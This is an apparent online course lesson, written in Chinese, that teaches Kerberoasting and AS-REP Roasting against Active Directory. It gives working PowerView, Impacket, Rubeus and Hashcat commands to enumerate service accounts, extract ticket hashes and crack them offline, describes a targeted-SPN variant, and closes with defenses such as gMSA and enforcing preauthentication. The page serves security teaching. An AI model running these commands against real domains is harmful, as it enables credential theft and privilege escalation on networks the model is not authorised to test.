Kerberoasting 与 AS-REP Roasting
请求 Kerberos 服务票据,并使用 Hashcat 在离线环境中破解它们。
Kerberoasting 与 AS-REP Roasting 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 3 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。
Kerberos 票据加密
服务票据使用服务账户的密码哈希进行加密。任何域用户都可以为任意 SPN 请求服务票据。如果服务账户的密码较弱,就可以在离线状态下破解该票据。
什么是 Kerberos 票据烘焙攻击
Kerberos 票据烘焙攻击会为具有服务主体名称(SPN)的账户请求服务票据,提取加密票据,然后使用 Hashcat 在离线状态下破解。无需提升权限,任何域用户都可以执行此操作。
# Steps:
# 1. Find accounts with SPNs
# 2. Request their service tickets
# 3. Extract ticket hashes
# 4. Crack with Hashcat查找 SPN
可以使用 PowerView、Impacket 或原生 AD 工具枚举所有具有 SPN 的服务账户。SPN 将服务账户与其服务关联起来。
# PowerView (Windows)
Get-DomainUser -SPN
Get-NetUser -SPN | select name,serviceprincipalname
# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com
# Native LDAP query
ldapsearch -H ldap://dc -b "DC=corp,DC=com" \
"(servicePrincipalName=*)" cn servicePrincipalName请求并提取票据
Rubeus(Windows)和 Impacket 的 GetUserSPNs(Linux)都可以请求票据,并以可破解的格式输出票据。
# Rubeus (Windows)
Rubeus.exe kerberoast /format:hashcat /output:hashes.txt
# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com \
-request -outputfile hashes.txt使用 Hashcat 破解
Kerberos 票据烘焙哈希使用模式 13100(Kerberos 5 TGS-REP)。请使用包含规则的高质量字典,以获得最大破解效果。
# Crack TGS-REP hashes
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule
# AES tickets: mode 19700 (AES128) or 19800 (AES256)什么是 AS-REP 烘焙攻击
AS-REP 烘焙攻击的目标是启用了不要求 Kerberos 预身份验证的账户。身份验证服务器会返回使用用户哈希加密的 TGT;攻击者无需知道密码即可请求该票据,并在离线状态下破解。
查找已禁用预身份验证的账户
未启用预身份验证的账户属于错误配置,通常是旧版应用遗留下来的。可以使用 PowerView 或 GetNPUsers 枚举这些账户。
# PowerView
Get-DomainUser -PreauthNotRequired
# Impacket GetNPUsers (no password needed!)
GetNPUsers.py CORP/ -usersfile users.txt \
-dc-ip dc.corp.com -format hashcat -outputfile asrep.txt
# Rubeus
Rubeus.exe asreproast /format:hashcat /output:asrep.txt破解 AS-REP 哈希
AS-REP 哈希使用 Hashcat 模式 18200。破解过程与 Kerberos 票据烘焙攻击相同,即针对加密的身份验证服务器响应执行离线字典攻击。
# Crack AS-REP hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# With rules:
hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule影响评估
被破解的服务账户密码通常拥有较高权限——运行数据库、备份软件或邮件系统的服务账户可能是域管理员。AS-REP 账户经常被忽视,安全防护也通常较弱。
定向 Kerberos 票据烘焙攻击
如果您对某个对象拥有写入权限,就可以暂时为高价值账户添加 SPN,对其执行 Kerberos 票据烘焙攻击,破解哈希,然后移除 SPN,从而按需针对特定账户。
防御措施
防御 Kerberos 票据烘焙攻击:为服务账户使用长度至少为 25 个字符的随机长密码;更好的做法是使用组托管服务账户(gMSA),其密码会自动轮换且长度为 120 个字符。防御 AS-REP 烘焙攻击:为所有账户启用预身份验证。
快速检查
AS-REP 烘焙攻击需要账户具有什么属性?
总结:Kerberos 票据烘焙攻击与 AS-REP 烘焙攻击
这两种攻击都利用 Kerberos 票据加密的弱点,在不触发账户锁定的情况下离线破解密码。Kerberos 票据烘焙攻击针对具有 SPN 的账户(任何域用户都可以执行);AS-REP 烘焙攻击针对未启用预身份验证的账户(无需凭据)。应使用 gMSA 保护服务账户,并为所有用户强制启用预身份验证。
用 AI 导师学习 Cyber Security Academy — 免费
在浏览器中编写并运行真实代码,获得全天候 AI 导师的即时帮助,并在网页或应用中继续学习。
- 课程
- 76
- 课程
- 303
常见问题解答
「Kerberoasting 与 AS-REP Roasting」课时是免费的吗?
是的 — 「Kerberoasting 与 AS-REP Roasting」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cyber Security Academy 课程的其余内容,请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。
「Kerberoasting 与 AS-REP Roasting」这节课中我会学到什么?
请求 Kerberos 服务票据,并使用 Hashcat 在离线环境中破解它们。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Cyber Security Academy 需要有经验吗?
无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 3 节课,共 4 节。
「Kerberoasting 与 AS-REP Roasting」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 Cyber Security Academy 课中编写并运行代码吗?
能。每节 Cyber Security Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。
此课程中的所有课时
- Windows 身份验证:NTLM 与 Kerberos
- 哈希传递与票据传递攻击
- Kerberoasting 与 AS-REP Roasting
- Active Directory 加固